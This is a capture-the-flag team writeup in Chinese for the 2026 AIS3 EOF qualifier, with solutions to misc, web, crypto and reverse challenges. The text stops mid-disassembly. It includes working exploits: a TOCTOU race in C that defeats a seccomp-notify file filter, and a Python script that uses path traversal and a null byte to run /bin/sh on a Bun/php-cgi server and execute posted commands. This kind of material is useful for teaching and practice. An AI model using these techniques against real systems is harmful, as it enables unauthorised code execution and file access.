# 2026 AIS3 EOF Qual writeup

## Misc
### fun
> Solver: LemonTea
flag.enc
`eabbc25677f3084458f0531f86863f226c95d555e6c28bd7`
接著分析 `loader`。透過 `strings` 看到它使用了 `libbpf` 來載入 `xdp_prog.o`,並將其 attach 到網路介面上 它還會讀取 perf buffer 的事件 這代表`xdp_prog.o` 是核心邏輯所在,它處理網路封包並將結果傳回 userspace。
使用 `objdump` 來分析 `xdp_prog.o` 的 BPF bytecode:
```bash
objdump -d xdp_prog.o
```
在 `xdp_encoder` 函式中,可以看到大量的 `ldxb` (load byte) 和 `xor` 指令。程式邏輯大致如下:
1. 檢查封包長度。
2. 從封包的特定偏移量(Offset 42 開始)讀取 byte。
3. 將讀取到的 byte 與一個 hardcoded 的數值進行 XOR 運算。
4. 將結果存入 stack。
5. 最後透過 `bpf_perf_event_output` 將處理後的資料傳送出去。
部分組語如下:
```assembly
110: 71 24 2a 00 00 00 00 00 ldxb %r4,[%r2+42] ; 讀取第 1 個 byte (Offset 42)
118: a7 04 00 00 af 00 00 00 xor %r4,175 ; XOR 175 (0xAF)
...
148: 71 24 2b 00 00 00 00 00 ldxb %r4,[%r2+43] ; 讀取第 2 個 byte (Offset 43)
150: a7 04 00 00 f4 00 00 00 xor %r4,244 ; XOR 244 (0xF4)
...
```
這是一個簡單的 XOR 加密 `flag.enc` 中的內容就是 Flag 經過這個 XDP 程式處理後的結果。
exploit.py
```python
enc_hex = "eabbc25677f3084458f0531f86863f226c95d555e6c28bd7"
enc_bytes = bytes.fromhex(enc_hex)
keys = [
175, 244, 132, 45, 4, 154, 57, 15,
43, 192, 29, 120, 217, 183, 10, 125,
11, 165, 186, 17, 185, 150, 187, 170
]
flag = ""
for i in range(len(enc_bytes)):
flag += chr(enc_bytes[i] ^ keys[i])
print(flag)
```
> Flag: EOF{si1Ks0Ng_15_g0oD_T0}
### SaaS
> Solver: LemonTea
seccomp-sandbox.c
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <stddef.h>
#include <seccomp.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <linux/limits.h>
#include <linux/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
int is_open_file_nr(int nr) {
return (
nr == __NR_open || nr == __NR_openat || nr == __NR_openat2 ||
nr == __NR_link || nr == __NR_linkat ||
nr == __NR_symlink || nr == __NR_symlinkat ||
nr == __NR_mount || nr == __NR_name_to_handle_at
);
}
int path_index(int nr) {
switch (nr) {
case __NR_open:
return 0;
case __NR_openat:
return 1;
case __NR_openat2:
return 1;
case __NR_link:
return 0;
case __NR_linkat:
return 1;
case __NR_symlink:
return 0;
case __NR_symlinkat:
return 1;
case __NR_mount:
return 0;
case __NR_name_to_handle_at:
return 1;
default:
return -1;
}
}
int notif_handler(struct seccomp_notif *req, struct seccomp_notif_resp *resp, int fd) {
int ret, memfd;
char memfile[PATH_MAX];
char open_path[PATH_MAX];
char real_path[PATH_MAX];
resp->id = req->id;
resp->error = 0;
resp->val = 0;
int nr = req->data.nr;
ret = seccomp_notify_id_valid(fd, req->id);
if (ret < 0) {
goto out;
}
if (is_open_file_nr(nr)) {
int index = path_index(nr);
struct iovec local[1];
struct iovec remote[1];
local[0].iov_base = open_path;
local[0].iov_len = sizeof(open_path);
remote[0].iov_base = (void *) req->data.args[1];
remote[0].iov_len = sizeof(open_path);
if (process_vm_readv(req->pid, local, 1, remote, 1, 0) < 0) {
resp->error = -EPERM;
resp->val = -8;
goto out;
}
realpath(open_path, real_path);
if (strcmp(real_path, "/flag") == 0) {
fprintf(stderr, "[sandbox] blocked open /flag\n");
resp->error = -EPERM;
resp->val = -8;
goto out;
}
goto cont;
} else if (nr == __NR_getpid) {
resp->val = 48763;
} else {
cont:
resp->flags = SECCOMP_USER_NOTIF_FLAG_CONTINUE;
}
ret = 0;
out:
close(memfd);
return ret;
}
int init_seccomp() {
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
// send_fd
// ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0);
// ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl), 0);
// stdin, stdout, stderr
// ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1, SCMP_CMP(0, SCMP_CMP_LE, 2));
// ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1, SCMP_CMP(0, SCMP_CMP_LE, 2));
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat2), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(link), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(linkat), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(symlink), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(symlinkat), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(mount), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(name_to_handle_at), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(getpid), 0);
seccomp_load(ctx);
ret = seccomp_notify_fd(ctx);
if (ret < 0) {
errno = -ret;
return -1;
}
// set blocking
int flags = fcntl(ret, F_GETFL);
flags &= ~O_NONBLOCK;
fcntl(ret, F_SETFL, flags);
return ret;
}
static int pidfd_open(pid_t pid, unsigned int flags) {
return syscall(SYS_pidfd_open, pid, flags);
}
static int pidfd_getfd(int pidfd, int targetfd, unsigned int flags) {
return syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
}
static int seccomp_notify_zeroing(
struct seccomp_notif *req,
struct seccomp_notif_resp *resp
) {
int rc;
static struct seccomp_notif_sizes sizes = { 0, 0, 0 };
if (sizes.seccomp_notif == 0 && sizes.seccomp_notif_resp == 0) {
rc = syscall(__NR_seccomp, SECCOMP_GET_NOTIF_SIZES, 0, &sizes);
if (rc < 0) return rc;
}
// no size
if (sizes.seccomp_notif == 0 || sizes.seccomp_notif_resp == 0)
return -EFAULT;
if (req) memset(req, 0, sizes.seccomp_notif);
if (resp) memset(resp, 0, sizes.seccomp_notif_resp);
return 0;
}
void run_program(char* program) {
char *argv[2];
argv[0] = program;
argv[1] = NULL;
if (access(program, X_OK) != 0) {
fprintf(stderr, "program not found or not executable\n");
exit(127);
}
execve(program, argv, __environ);
}
int main(int argc, char **argv) {
int status = -1;
int *targetfd = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*targetfd = -1;
char *program;
if (argc > 1) {
program = argv[1];
} else {
program = "app";
}
int pid = fork();
if (pid == 0) {
// no new priveleges to enable filter without root
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
int notifier = init_seccomp();
*targetfd = notifier;
// busy waiting, keep fd valid until parent receive it
while (*targetfd != -1);
close(notifier);
run_program(program);
// should not reach here
exit(127);
} else if (pid < 0) {
fprintf(stderr, "fork failed\n");
goto close;
} else {
int pidfd = pidfd_open(pid, 0);
// busy waiting
while (*targetfd == -1);
int notifier = pidfd_getfd(pidfd, *targetfd, 0);
if (notifier < 0) {
goto out_kill;
}
*targetfd = -1;
munmap(targetfd, sizeof(int));
int tracer = fork();
if (tracer == 0) {
struct seccomp_notif *req;
struct seccomp_notif_resp *resp;
seccomp_notify_alloc(&req, &resp);
while (1) {
seccomp_notify_zeroing(req, resp);
int ret = seccomp_notify_receive(notifier, req);
if (ret) break;
if (notif_handler(req, resp, notifier) < 0) break;
seccomp_notify_respond(notifier, resp);
}
seccomp_notify_free(req, resp);
close(notifier);
exit(1);
}
close(notifier);
waitpid(pid, &status, 0);
out_kill:
if (tracer > 0) kill(tracer, SIGKILL);
if (pid > 0) kill(pid, SIGKILL);
}
close:
return status;
}
```
這題我們可以看到他使用了Seccomp規則
```c
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(openat2), 0);
seccomp_rule_add(ctx, SCMP_ACT_NOTIFY, SCMP_SYS(name_to_handle_at), 0);
```
所有與開檔相關的 syscall 都會送至 notifier,由 tracer process 決定是否允許繼續執行
接着這段:
```c
if (process_vm_readv(req->pid, local, 1, remote, 1, 0) < 0) {
resp->error = -EPERM;
resp->val = -8;
goto out;
}
realpath(open_path, real_path);
if (strcmp(real_path, "/flag") == 0) {
fprintf(stderr, "[sandbox] blocked open /flag\n");
resp->error = -EPERM;
resp->val = -8;
goto out;
}
```
流程為:
1. 使用 process_vm_readv() 從 user memory 讀取 pathname
2. 使用 realpath() 解析實際路徑
3. 若結果為 /flag 則阻擋,否則允許繼續執行
發現:
Notifier 使用以下方式取得 pathname:
`req->data.args[1]`
但 Linux syscall ABI 中,pathname 的位置為:
```
open(path, flags, mode) args[0]
openat(dirfd, path, flags) args[1]
openat2(dirfd, path, how) args[1]
```
所以
使用 open() 時,notifier 會把 flags 當成指標,導致檢查錯誤
必須使用 openat() 才能正確通過 notifier
並且透過 process_vm_readv() 直接從 user memory 讀取 pathname 但有
- 未鎖定記憶體
- 未複製到 kernel space
- 未重新驗證
嗯對一個 `TOCTOU race condition`
exp.c
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sched.h>
char path[32] = "/tmp/ok";
volatile int stop = 0;
void *racer(void *arg) {
while (!stop) {
strcpy(path, "/flag");
asm volatile("" ::: "memory");
strcpy(path, "/tmp/ok");
asm volatile("" ::: "memory");
}
return NULL;
}
int main() {
pthread_t t;
char buf[4096];
int tmp = open("/tmp/ok", O_CREAT | O_RDWR, 0644);
write(tmp, "ok", 2);
close(tmp);
pthread_create(&t, NULL, racer, NULL);
for (int i = 0; i < 1000000; i++) {
int fd = syscall(SYS_openat, AT_FDCWD, path, O_RDONLY, 0);
if (fd < 0) continue;
int n = read(fd, buf, sizeof(buf)-1);
if (n > 0) {
buf[n] = 0;
if (strcmp(buf, "ok") != 0) {
write(1, buf, n);
stop = 1;
_exit(0);
}
}
close(fd);
}
stop = 1;
return 0;
}
```
> Flag: EOF{TICTACTOE_TICKTOCTOU}
### MRTGuessor
> Solver: LemonTea
>
題目給了一張圖片

看到圖片發現他是板南線
然後一開始猜 `新埔` 結果不是
然後覺得天花板很現代 心想可能是忠孝新生 去網路上找關鍵字 `忠孝新生捷運站` 找到一個Flicker
https://www.flickr.com/photos/reptile/6389443453/
但怕出錯 於是我們派出臺北人Yuto去實地考察了一番

這是他拍的照片
然後就對了
> Flag: EOF{catch_up_MRT_by_checking_the_timetable_in_advance}
## Web
### Bun.PHP
> Solver: Yuto
https://x.com/thdxr/status/1958246871861715108
這題是靠 Gemini 分析的。
從 `src/` 下的 js 和 PHP 可以看的出來,他會把 `/cgi-bin/` 底下的 php 檔案餵給 `/usr/bin/php-cgi`,然後解析結果回傳給 client。
```php title:src/cgi-bin/index.php
#!/usr/bin/php-cgi
<?php
if (isset($_GET["-s"])) {
highlight_file(__FILE__);
exit();
}
$name = htmlentities($_REQUEST["name"] ?? "World");
echo "<h1>Hello $name!</h1>\n";
```
在 `src/index.js` 中可以看到他會檢查請求的檔案名稱結尾是不是 `.php`,然後用 php-cgi 的環境把 php 跑起來,並把請求的 body 餵給腳本跑起來的 process。
```javascript title:src/index.js hl:15-17,24-26
import { $ } from "bun";
import { resolve } from "node:path";
const server = Bun.serve({
host: "0.0.0.0",
port: 1337,
routes: {
"/": async req => {
return new Response(null, {
status: 302,
headers: { "Location": "/cgi-bin/index.php" },
});
},
"/cgi-bin/:filename": async req => {
const filename = req.params.filename;
if (!filename.endsWith(".php")) {
return new Response(`404\n`, {
status: 404,
headers: { "Content-Type": "text/plain" },
});
}
const scriptPath = resolve("cgi-bin/" + filename);
const body = await req.blob();
const shell = $`${scriptPath} < ${body}`
.env({
REQUEST_METHOD: req.method,
QUERY_STRING: new URL(req.url).searchParams.toString(),
CONTENT_TYPE: req.headers.get("content-type") ?? "",
CONTENT_LENGTH: body ? String(body.size) : "0",
SCRIPT_FILENAME: scriptPath,
GATEWAY_INTERFACE: "CGI/1.1",
SERVER_PROTOCOL: "HTTP/1.1",
SERVER_SOFTWARE: "bun-php-server/0.1",
REDIRECT_STATUS: "200",
})
.nothrow();
// PHP-CGI outputs headers + body separated by \r\n\r\n
const output = await shell.text();
const [rawHeaders, ...rest] = output.split("\r\n\r\n");
const headers = new Headers();
for (const line of rawHeaders.split("\r\n")) {
const [k, v] = line.split(/:\s*/, 2);
if (k && v) headers.set(k, v);
}
const responseBody = rest.join("\r\n\r\n");
return new Response(responseBody, { headers });
},
}
});
console.log(`listening on http://localhost:${server.port}`);
```
在 javascript 的字串中允許 `\x00`,而且 `path.resolve` 也會保留 `\x00`,但丟給底層的 C API 後,字串就會被截斷。
所以我們可以用 `/bin/sh/0x00` 再搭配 body 餵指令給他,就可以取得控制。
```shell
$ python3 ./solve.py https://b80ef5ac068f3989.chal.eof.133773.xyz:20001/
Sending request to https://b80ef5ac068f3989.chal.eof.133773.xyz:20001/cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php
Status: 200
Response:
EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}
```
腳本:
```python title:exploit.py
import requests
import sys
def solve(url):
# Target: /cgi-bin/../../../../bin/sh%00.php
# We use URL encoding for the path traversal and null byte to ensure it reaches the server as intended.
# However, requests might normalize '..'. We should use a prepared request or handle it carefully.
# Actually, requests usually normalizes path.
# We can send the raw path in the URL.
target_path = "/cgi-bin/../../../../bin/sh%00.php"
# But we need to encode the null byte.
# And we might need to encode the dots if the client normalizes them.
# Let's try sending encoded dots.
# payload_path = "/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh%00.php"
# Wait, if we encode dots, the router might not match /cgi-bin/:filename if it expects decoded path.
# But :filename matches the segment.
# If we send /cgi-bin/..%2f..%2f..%2f..%2fbin%2fsh%00.php
# The router sees /cgi-bin/ and the rest is filename.
# filename = ..%2f..%2f..%2f..%2fbin%2fsh%00.php
# If Bun decodes it -> ../../../../bin/sh\0.php
# Then resolve works.
# Remove trailing slash from url if present
if url.endswith('/'):
url = url[:-1]
encoded_filename = "..%2f..%2f..%2f..%2fbin%2fsh%00.php"
full_url = f"{url}/cgi-bin/{encoded_filename}"
# Command to execute
# We need to output headers so the server parses the output correctly.
command = 'printf "Content-Type: text/plain\\r\\n\\r\\n"; /readflag give me the flag'
print(f"Sending request to {full_url}")
try:
r = requests.post(full_url, data=command)
print(f"Status: {r.status_code}")
print("Response:")
print(r.text)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 solve.py <url>")
sys.exit(1)
solve(sys.argv[1])
```
## Crypto
### catcat's message
> Solver: LemonTea
我們來看
chal.py
```python
from sage.all import *
import secrets
with open('flag.txt', 'rb') as meEoooW:
meOwO = meEoooW.read()
meOwO = [int(bit) for byte in meOwO for bit in f'{byte:08b}']
R = PolynomialRing(ZZ, names=('meowingcat',)); (meowingcat,) = R._first_ngens(1)
MmMeoOOOoOoW = 10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000*meowingcat**7 + 252494110674012002541514797764827158724121386633059451594119818010148193281592400026520593213461099399038944073486*meowingcat**6 + 14529160840260745786509496359724356787188326132801486485566133985535665069892295966690495950982676949536238346962*meowingcat**5 + 95515120986975418742780707357913088549131357305328369209808244591545738634309873996623254051815891755018401343856*meowingcat**4 + 65176268221379786971773925764775296541697077770744636064225970565945754418513311940786569146293497193663533010652*meowingcat**3 + 180776214508546762217902706989924469079606298223767170020347719086675964795206127649700412230279249284690008979158*meowingcat**2 + 233302413192532175819496609029797143533434993955387323269458143291245908014630929176027926621738749425901291228018*meowingcat + 143491234406688723416490898601225309678343916741387556923054435686233973323559376474177051270543031936592520011397
MmMeoOOOoOow = 3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000*meowingcat**7 + 84164703558004000847171599254942386241373795544353150531373272670049397760530800008840197737820366466346314691162*meowingcat**6 + 91064528951076613265720743351539296774527279629238715675150132217418711139411039580553128030185345691325519935046*meowingcat**5 + 31838373662325139580926902452637696183043785768442789736602748197181912878103291332207751350605297251672800447952*meowingcat**4 + 21725422740459928990591308588258432180565692590248212021408656855315251472837770646928856382097832397887844336884*meowingcat**3 + 232701688844828316746402724793237178717464441244532163700038748140038967163962591066546062836475323177856883965170*meowingcat**2 + 250210421739490121280267358806528070202074006488405548116408889541562281570437524908655234300295156558260644714790*meowingcat + 220273362144208970479265455330337458917043647417072292667607653673224970006747007341371609183229917395181118430820
MeowMeOwmeoWw = 258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177
MeowMeOwMeOoW = 1
MeowMeOwmEOWMEOw = EllipticCurve(GF(MeowMeOwmeoWw), [0, 0, 0, 0, MeowMeOwMeOoW])
mmEow = MeowMeOwmEOWMEOw(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288, 242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082)
mmEoW = MeowMeOwmEOWMEOw(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593, 21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591)
def MEOw(MeoooWmeow, MeoooWmeoW, meOwO = 0):
uwub = secrets.randbelow(MeowMeOwmeoWw)
return (MmMeoOOOoOow(MeoooWmeow) + (1 - meOwO) * uwub) * mmEow + (MmMeoOOOoOoW(MeoooWmeoW) + (meOwO) * uwub) * mmEoW
print("=" * 33 , "Meow mEOw MeOw MeOW mEow!!!", "="*33)
print("mmEow:", hex(mmEow.xy()[0]))
print("mmEoW:", hex(mmEoW.xy()[0]))
for MeOw in meOwO:
meoW = secrets.randbelow(MeowMeOwmeoWw)
print("MeeOw MeeOw > ")
print(hex(MEOw(secrets.randbelow(MeowMeOwmeoWw), meoW, meOwO = MeOw^1).xy()[0]))
print("MeeOw MeeOw MeeOw > ")
print(hex(MEOw(meoW, secrets.randbelow(MeowMeOwmeoWw), meOwO = MeOw^0).xy()[0]))
print("=" * 33, "EOF", "=" * 33)
```
題目會對每一個 bit 輸出兩個橢圓曲線點的 x 座標
每個點是 $G_1$ $G_2$ 的線性組合,係數是從兩個多項式並混入亂數
題目給了兩個多項式
$f_1(x) = a_7x^7+a_6x^7+...a_0$
$f_2(x) = b_7x^7+b_6x^6+...b_0$
```python
def MEOw(MeoooWmeow, MeoooWmeoW, meOwO = 0):
uwub = secrets.randbelow(MeowMeOwmeoWw)
return (MmMeoOOOoOow(MeoooWmeow) + (1 - meOwO) * uwub) * mmEow + (MmMeoOOOoOoW(MeoooWmeoW) + (meOwO) * uwub) * mmEoW
```
這段就是
```python
def MEOw(a, b, bit):
u = random
return (f1(a)+(1-bit)*u)*G1 + (f2(b)+bit*u)*G2
```
每個 bit 輸出兩個點
```python
P = MEOw(rand, b, bit^1)
Q = MEOw(b, rand, bit)
```
點 $Q$ 的結構為
$$Q = A \cdot G_1 + B \cdot G_2$$
我們可以利用 pairing 的性質
取得 $G_2$ 的係數
我們計算 $Q$ 與 $G_1$ 的 pairing
$$
\begin{aligned}
v_1 = e(Q, G_1) &= e(A G_1 + B G_2, G_1) \\
&= e(A G_1, G_1) \cdot e(B G_2, G_1) \quad \\
&= 1^A \cdot e(G_2, G_1)^B \\
&= e(G_1, G_2)^{-B} \\
&= w^{-B}
\end{aligned}
$$
提取 $G_1$ 的係數
我們計算 $Q$ 與 $G_2$ 的 pairing
$$
\begin{aligned}
v_2 = e(Q, G_2) &= e(A G_1 + B G_2, G_2) \\
&= e(G_1, G_2)^A \cdot 1^B \\
&= w^A
\end{aligned}
$$
題目根據 flag 的 bit $b \in \{0, 1\}$ 來決定將 $k$ 加在哪個分量上
令 $x$ 為共享的隨機輸入 (`meoW`)
當 $b = 0$ 時
$$Q = (P_1(x) + k)G_1 + P_2(x)G_2$$
這個時候可以透過 $v_1 = e(Q, G_1)$ 取得 $w^{-P_2(x)}$
當 $b = 1$ 時
$$Q = P_1(x)G_1 + (P_2(x) + k)G_2$$
可以透過 $v_2 = e(Q, G_2)$ 取得 $w^{P_1(x)}$
利用了兩次呼叫共享同一個隨機數 $x$ 的特性
Flag bit = 1
第一次呼叫 call 參數設為 $1 \oplus 1 = 0$
$b=0$ 我們能取得乾淨的 $P_2(x)$
計算 $val_1 = v_1 = w^{-P_2(x)}$
第二次呼叫 (Call 2):參數設為 $1 \oplus 0 = 1$
根據 $b=1$ 邏輯,我們能取得乾淨的 $P_1(x)$
計算 $val_2 = v_2 = w^{P_1(x)}$
題目中的多項式 $P_1(x)$ 與 $P_2(x)$ 在 mod group order 下存在線性關係
令 $L_1, L_2$ 分別為 $P_1, P_2$ 的最高次項係數,我們可以構造
$$L_2 \cdot P_1(x) - L_1 \cdot P_2(x) = C$$
其中 $C$ 是一個與 $x$ 無關的常數
計算驗證值
$$
\begin{aligned}
\text{Check} &= (val_1)^{L_1} \cdot (val_2)^{L_2} \\
&= (w^{-P_2(x)})^{L_1} \cdot (w^{P_1(x)})^{L_2} \\
&= w^{-L_1 P_2(x)} \cdot w^{L_2 P_1(x)} \\
&= w^{L_2 P_1(x) - L_1 P_2(x)}
\end{aligned}
$$
代入多項式 $\text{Check} = w^{C}$
如果猜測的 flag 正確 $k$ 會被完全避開 運算結果會等於常數 $w^C$
如果猜測錯誤 $k$ 會殘留在指數中 運算結果就會變成隨機值 $w^{\text{random}}$
只要檢查計算結果是否等於預計算的 $w^C$ 就可以判定 flag 的 bit
by gemini 3 pro
```python
from sage.all import *
# Challenge parameters
p = 258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177
E = EllipticCurve(GF(p), [0, 1])
G1 = E(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288, 242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082)
G2 = E(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593, 21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591)
# Polynomial leading coefficients
f1_7 = 3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000
f2_7 = 10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000
# Precomputed constant from polynomial analysis
# C = f2(0)*f1[7] - f1(0)*f2[7] (mod ord_w)
C = 1705714588519733792
def solve():
ord_G1 = G1.order()
w = G1.weil_pairing(G2, ord_G1)
# Target value RHS = w^-C
RHS = w**(-C)
with open('output.txt', 'r') as f:
lines = f.readlines()
flag_bits = []
i = 0
while i < len(lines):
line = lines[i].strip()
if "MeeOw MeeOw >" in line:
# Read two points (x-coordinates)
x1_hex = lines[i+1].strip()
x1 = Integer(x1_hex)
i += 2
if i < len(lines) and "MeeOw MeeOw MeeOw >" in lines[i]:
x2_hex = lines[i+1].strip()
x2 = Integer(x2_hex)
i += 2
else:
break
try:
P1 = E.lift_x(x1)
P2 = E.lift_x(x2)
except ValueError:
continue
# Compute pairings
v1 = P1.weil_pairing(G1, ord_G1)
v2 = P2.weil_pairing(G2, ord_G1)
val1 = v1**f1_7
val2 = v2**f2_7
# Check if the relation holds for any sign combination
# The relation is derived from f2 = c*f1 + d (affine relation)
# which implies a relation between the pairings.
# If the bit is 1, the relation holds. If 0, it's random.
found = False
if val1 * val2 == RHS: found = True
elif val1**(-1) * val2 == RHS: found = True
elif val1 * val2**(-1) == RHS: found = True
elif val1**(-1) * val2**(-1) == RHS: found = True
if found:
flag_bits.append(1)
else:
flag_bits.append(0)
else:
i += 1
# Convert bits to bytes
flag_bytes = []
for i in range(0, len(flag_bits), 8):
byte_bits = flag_bits[i:i+8]
if len(byte_bits) == 8:
byte_val = 0
for bit in byte_bits:
byte_val = (byte_val << 1) | bit
flag_bytes.append(byte_val)
print(bytes(flag_bytes))
if __name__ == "__main__":
solve()
```
> Flag:EOF{cats_dont_like_you_for_breaking_their_meowderful_scheme_...🐈⚔🐈}
### Still Not Random
> Solver: Yuto
```python title:solve.py
import hmac
from hashlib import sha256
from fastecdsa.curve import P384
from Crypto.Cipher import AES
from fpylll import IntegerMatrix, LLL, CVP
def p2i(P) -> int:
return P.x * P.curve.p + P.y
q = P384.q
G = P384.G
msgs = [
b"https://www.youtube.com/watch?v=LaX6EIkk_pQ",
b"https://www.youtube.com/watch?v=wK4wA0aKvg8",
b"https://www.youtube.com/watch?v=iq90nHs3Gbs",
b"https://www.youtube.com/watch?v=zTKADhU__sw",
]
with open("output.txt", "r") as f:
content = f.read()
sigs_str = content.split("sigs = ")[1].split("\n")[0]
sigs = eval(sigs_str)
ct_str = content.split("ct = ")[1].strip()
ct = eval(ct_str)
es = []
rs = []
ss = []
for i, (r, s) in enumerate(sigs):
msg = msgs[i]
e = int.from_bytes(hmac.new(r.to_bytes(1337, 'big'), msg, sha256).digest(), 'big') % q
es.append(e)
rs.append(r)
ss.append(s)
S = 2**128
C = 1
M_cvp = IntegerMatrix(4, 4)
M_cvp[0, 0] = S * q
M_cvp[1, 1] = S * q
M_cvp[2, 2] = S * q
M_cvp[3, 0] = S * (es[1] - es[0])
M_cvp[3, 1] = S * (es[2] - es[0])
M_cvp[3, 2] = S * (es[3] - es[0])
M_cvp[3, 3] = C
target = [S * (ss[1] - ss[0]), S * (ss[2] - ss[0]), S * (ss[3] - ss[0]), 0]
# Reduce basis
LLL.reduction(M_cvp)
# CVP
try:
v = CVP.closest_vector(M_cvp, target)
base_sk = abs(v[3]) // C
candidates = []
# Try around base_sk
for offset in range(-5, 6):
candidates.append(base_sk + offset)
# Try around q - base_sk
base_sk_neg = q - base_sk
for offset in range(-5, 6):
candidates.append(base_sk_neg + offset)
for sk_val in candidates:
print(f"Checking sk: {sk_val}")
try:
key = sha256(str(sk_val).encode()).digest()
# Verify
verified = False
for i in range(len(msgs)):
msg = msgs[i]
r, s = sigs[i]
k = int.from_bytes(key + hmac.new(key, msg, sha256).digest(), 'big') % q
e = int.from_bytes(hmac.new(r.to_bytes(1337, 'big'), msg, sha256).digest(), 'big') % q
if s != (k + sk_val * e) % q:
break
else:
verified = True
if verified:
print("SK verified!")
key = (sk_val & ((1 << 128) - 1)).to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_CTR, nonce=ct[:8])
flag = cipher.decrypt(ct[8:])
print(f"Flag: {flag.decode("utf-8")}")
exit(0)
except Exception:
pass
except Exception as e:
print(f"Error: {e}")
```
> Flag: `EOF{just_some_small_bruteforce_after_LLL}`
## Reverse
### bored
> Solver: LemonTea
這題給了一個bin file
先寫個
diassemble.py(AI寫的)
```py
from capstone import *
def disasm(filename, start_addr, length):
with open(filename, 'rb') as f:
code = f.read()
md = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
md.detail = True
# The code is at offset start_addr in the file (since file is mapped at 0x0)
# But we need to be careful. If the file is a raw binary, offset 0 in file is address 0.
# So we slice the code.
# Reset vector is at 0x4. Value is 0x351. So code starts at 0x350.
# Let's disassemble from 0x350
# We need to pass the buffer starting from the address we want to disassemble
# and the address of the first instruction.
# Check if start_addr is within file
if start_addr >= len(code):
print("Start address out of bounds")
return
# Disassemble
for i in md.disasm(code[start_addr:], start_addr):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
if i.address > start_addr + length:
break
disasm('firmware.bin', 0x44, 0x100)
```
印出了
```
python disasm.py
0x44: push {r7}
0x46: sub sp, #0x24
0x48: add r7, sp, #0
0x4a: str r0, [r7, #0xc]
0x4c: str r1, [r7, #8]
0x4e: str r2, [r7, #4]
0x50: movs r3, #0
0x52: str r3, [r7, #0x1c]
0x54: b #0x6a
0x56: ldr r3, [r7, #0x1c]
0x58: uxtb r1, r3
0x5a: ldr r2, [r7, #0xc]
0x5c: ldr r3, [r7, #0x1c]
0x5e: add r3, r2
0x60: mov r2, r1
0x62: strb r2, [r3]
0x64: ldr r3, [r7, #0x1c]
0x66: adds r3, #1
0x68: str r3, [r7, #0x1c]
0x6a: ldr r3, [r7, #0x1c]
0x6c: cmp r3, #0xff
0x6e: ble #0x56
0x70: ldr r3, [r7, #0xc]
0x72: movs r2, #0
0x74: str.w r2, [r3, #0x100]
0x78: ldr r3, [r7, #0xc]
0x7a: movs r2, #0
0x7c: str.w r2, [r3, #0x104]
0x80: movs r3, #0
0x82: str r3, [r7, #0x18]
0x84: movs r3, #0
0x86: str r3, [r7, #0x14]
0x88: b #0xe8
0x8a: ldr r2, [r7, #0xc]
0x8c: ldr r3, [r7, #0x14]
0x8e: add r3, r2
0x90: ldrb r3, [r3]
0x92: mov r2, r3
0x94: ldr r3, [r7, #0x18]
0x96: add r2, r3
0x98: ldr r3, [r7, #0x14]
0x9a: ldr r1, [r7, #4]
0x9c: udiv r1, r3, r1
0xa0: ldr r0, [r7, #4]
0xa2: mul r1, r0, r1
